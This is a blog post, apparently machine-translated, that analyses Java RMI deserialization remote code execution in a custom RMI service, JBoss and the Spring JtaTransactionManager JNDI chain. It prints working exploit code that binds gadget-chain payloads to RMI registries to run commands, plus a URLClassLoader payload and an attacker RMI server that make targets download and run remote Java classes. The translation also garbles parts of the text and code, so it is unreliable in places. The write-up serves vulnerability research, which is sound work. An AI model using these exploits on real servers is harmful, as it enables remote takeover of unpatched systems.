Angelwhu · 2016/02/26 10:43

Author: angelwhu

0 x00 background


In explaining the Java deserialization vulnerability, the original article states:

Java LOVES sending serialized objects all over the place. For example:

In HTTP requests — Parameters, ViewState, Cookies, you name it.

RMI – The Extensively used Java RMI Protocol is 100% based on serialization RMI over HTTP – Many Java Thick Client Web Apps use this — again 100% Serialized objects

JMX – Again, Heavily serialized objects being shot over the wire Custom Protocols — Sending an receiving raw Java objects is the Norm — which we’ll see in some of the adventurous to come

When Java uses RMI, serialized objects are used for data transfer. This creates a Java deserialization vulnerability. The scope of use is very large.

Later, Greenleague mentioned a bug in JBoss’s RMI mechanic. More recently, there is the Spring Framework RCE vulnerability, whose exploitation is closely related to RMI.

Here, the relevant vulnerabilities of RMI vulnerability are sorted out and a brief utilization analysis is made.

A brief introduction 0 x01 RMI


A brief introduction from the network:

RMI, short for Remote Method Invocation, is part of J2SE and enables developers to develop Java-based distributed applications. An RMI object is a remote Java object whose methods can be called from another Java virtual machine (or even across the network), and whose methods can be called as if they were local Java objects, so that objects distributed across different JVMS look and behave like local objects.

See here its function is to be able to carry out object transfer over the network, so that it can make remote object call. Here is to write a simple RMI program to explain its existence of deserialization vulnerability.

0x02 RMI Application Attack


First, simply implement a server, enable RMI service, bind to port 6600:

#! java public class Run { public static void main(String[] args) { try { //PersonServiceInterface personService=new PersonServiceImp(); . / / registered communication port LocateRegistry createRegistry (6600); / / registered communication path / / Naming the rebind (" rmi: / / 127.0.0.1:6600 / PersonService ", PersonService); System.out.println("Service Start!" ); } catch (Exception e) { // TODO Auto-generated catch block e.printStackTrace(); }}}Copy the code

In the code above, I originally used the bind function to bind the personService object to the server side for external calls.

But I found that even in the absence of any object binding, just use one line of code LocateRegistry. CreateRegistry (6600); To enable RMI service. Deserialization attacks can then be implemented by accessing the service port (port 6600 in this case).

This exploitation is of course subject to one of the conditions of the Java deserialization vulnerability: Apache Commons Collections or other defective third-party libraries are contained in the lib path. Commons-collections-3.1. jar is used here, adding it to the lib path.

Thus, the simple RMI application above satisfies two conditions for the deserialization vulnerability:

  • Deserialized object data transfer exists.
  • The defectiveApache Commons CollectionsThe third-party libraries are in the lib path.

Preparation of attack code:

#! java Object instance = PayloadGeneration.generateExecPayload("calc"); InvocationHandler h = (InvocationHandler) instance; Remote r = Remote.class.cast(Proxy.newProxyInstance(Remote.class.getClassLoader(),new Class[]{Remote.class},h)); // Dynamic proxy Rmote interface. Registry registry = LocateRegistry.getRegistry(ip, port); // Server IP and port try{registry. Bind ("pwned", r); // r is remote obj } catch (Throwable e) { e.printStackTrace(); }Copy the code

Here the Java deserialization holes payload under wraps, PayloadGeneration. GenerateExecPayload (” calc “); This will generate an object that executes the calc command. If you are interested, you can view the source code on my Github. Then, we send our payload to the RMI service port for attack.

registry.bind(“pwned”, r); R objects must inherit the Remote interface. So Java dynamic proxy technology is used to proxy the Remote interface and generate its object R. Then use the bind function to send the attack payload to the RMI service and run the calc command remotely. The attack is complete. The machine tests are as follows:

As you can see here, the deserialization command execution vulnerability can exist as long as the RMI service is used on the application server and the Apache Commons Collections third-party library is used.

It is noteworthy that RMI service attacks can also be echoed using the URLClassLoader method.

#! java Object instance = PayloadGeneration.generateURLClassLoaderPayload("http://****/java/", "exploit.ErrorBaseExec", "do_exec", "pwd");Copy the code

Also, change the encapsulated payload to the attack payload of the URLClassLoader. The remote exploitory. ErrorBaseError class can be loaded, and the PWD command can be used to echo. These are the results of my tests running the server on Ubuntu.

This illustrates the issue of deserialization in applications using RMI mechanisms. If you happen to be using a defective third party library, you can execute the command remotely. Next, take a look at the relevant vulnerabilities in a real-world scenario.

0x03 JBoss RMI Attack Used


JBOSS meets two of the criteria we discussed above:

  • It uses RMI mechanism for information communication, port 1099 usesjndiAnd port 1090 are RMI service ports.
  • And it containsApache Commons CollectionsThird-party libraries. So it can be said that there is a remote command execution vulnerability.

In the Greenleague article, there was a problem with the RMI mechanism in JBOSS, which can be retrieved with JMXInvoker deleted. Command execution can then be reproduced like this.

By starting JBoss with the following command, all ports are open to the public by default. Of course, 10.10.10.135 represents the local IP address.

#! Bash. / run. Sh - b 10.10.10.135Copy the code

First, scan the JBoss server port. Here I’m using jboss-6.1.0.final, installed in the Ubuntu VIRTUAL machine. Scanning results using NMAP are as follows:

#! bash 1090/tcp open ff-fms 1091/tcp open ff-sm 1098/tcp open rmiactivation 1099/tcp open rmiregistry 4446/tcp open n1-fwp  5500/tcp open hotline 8009/tcp open ajp13 8080/tcp open http-proxy 8083/tcp open us-srvCopy the code

Found that ports 1090 and 1099 are open. This means that RMI services are open to the outside world.

By the way, jBoss exploitation, as per the original code, did not reproduce success. There is a problem with payload, so I used the encapsulated payload written by myself, which is convenient. On the other hand, we thought we were going to attack port 1099, but my good friend did some research and found it was port 1090, so it worked.

Hence the following attack code:

#! java Object instance = PayloadGeneration.generateURLClassLoaderPayload("http://******:8080/java/", "exploit.ErrorBaseExec", "do_exec", "pwd"); InvocationHandler h = (InvocationHandler) instance; Remote r = Remote.class.cast(Proxy.newProxyInstance(Remote.class.getClassLoader(),new Class[]{Remote.class},h)); Registry Registry = LocateRegistry. GetRegistry (" 10.10.10.135 ", 1090); try{ registry.bind("pwned", r); // r is remote obj } catch (Throwable e) { e.printStackTrace(); }Copy the code

Running the code and attacking Jboss results in the following:

0x04 Spring Framework Remote Command Execution Analysis


This vulnerability, which involves JNDI and RMI services, is interesting. Code details analysis please refer to the third in the resources, the analysis is very good, do not teach fish to swim. Here’s a quick overview of the attack.

Similar to the deserialization of the Apache Commons Collections library, we need to include lib packages from the Spring framework in our CLASSPATH. This is more demanding and requires more packages:

Translate the original command execution code chain:

Spring – tx. Jar contains org. Springframework. Transaction. The jta. JtaTransactionManager class, the class of JNDI deserialization problems. Its readObject() method execution contains a path like this:

#! bash initUserTransactionAndTransactionManager()-> lookupUserTransaction()-> JndiTemplate.lookup()-> InitialContext.lookup(userTransactionName)Copy the code

Initialcontext.lookup () calls the userTransactionName property, which we can control. Refer to use JNDI, can find userTransactionName attribute can be an external network of RMI paths, such as: RMI: / / 10.10.10.1:1099 / Object.

We can then set up an RMI server ourselves and let the target server access, download and execute any Java code prepared. The server is built on the Ubuntu VIRTUAL machine and simply establishes a socket for data transmission and deserialization and parsing. Code to see github~~

The principle of brief painting is as follows:

The Client is the attacker. After sending the JtaTransactionManager serialized object to the target server, the server will be triggered to access the RMI service in the Client (i.e., the RMI server at this time) to download any Java object for execution. The key codes are:

#! Java / / create the RMI service Registry Registry. = LocateRegistry createRegistry (1099); Reference reference = new javax.naming.Reference("client.ExportObject","client.ExportObject","http://"+ localAddress + "/"); // When accessing rmI services, the client.ExportObject class is downloaded from this URL and objects are created. ReferenceWrapper referenceWrapper = new com.sun.jndi.rmi.registry.ReferenceWrapper(reference); registry.bind("Object", referenceWrapper); String jndiAddress = "rmi://"+localAddress+":1099/Object"; / / through jndi access rmi service org. Springframework. Transaction. The jta. JtaTransactionManager object = new org.springframework.transaction.jta.JtaTransactionManager(); object.setUserTransactionName(jndiAddress);Copy the code

When the ifconfig command is executed remotely, the server can see that the command is successfully executed and the client can see the access record. The results are as follows:

0 x05 epilogue


Java anti-sequence vulnerabilities are significant, and RMI is the tip of the iceberg. Looking forward to mutual exchange and research.

0x06 References and source code


  • Foxglovesecurity.com/2015/11/06/…
  • Blog.nsfocus.net/java-deseri…
  • www.iswin.org/2016/01/24/…
  • Zerothoughts.tumblr.com/post/137831…
  • Github.com/angelwhu/ja…
  • Github.com/zerothought…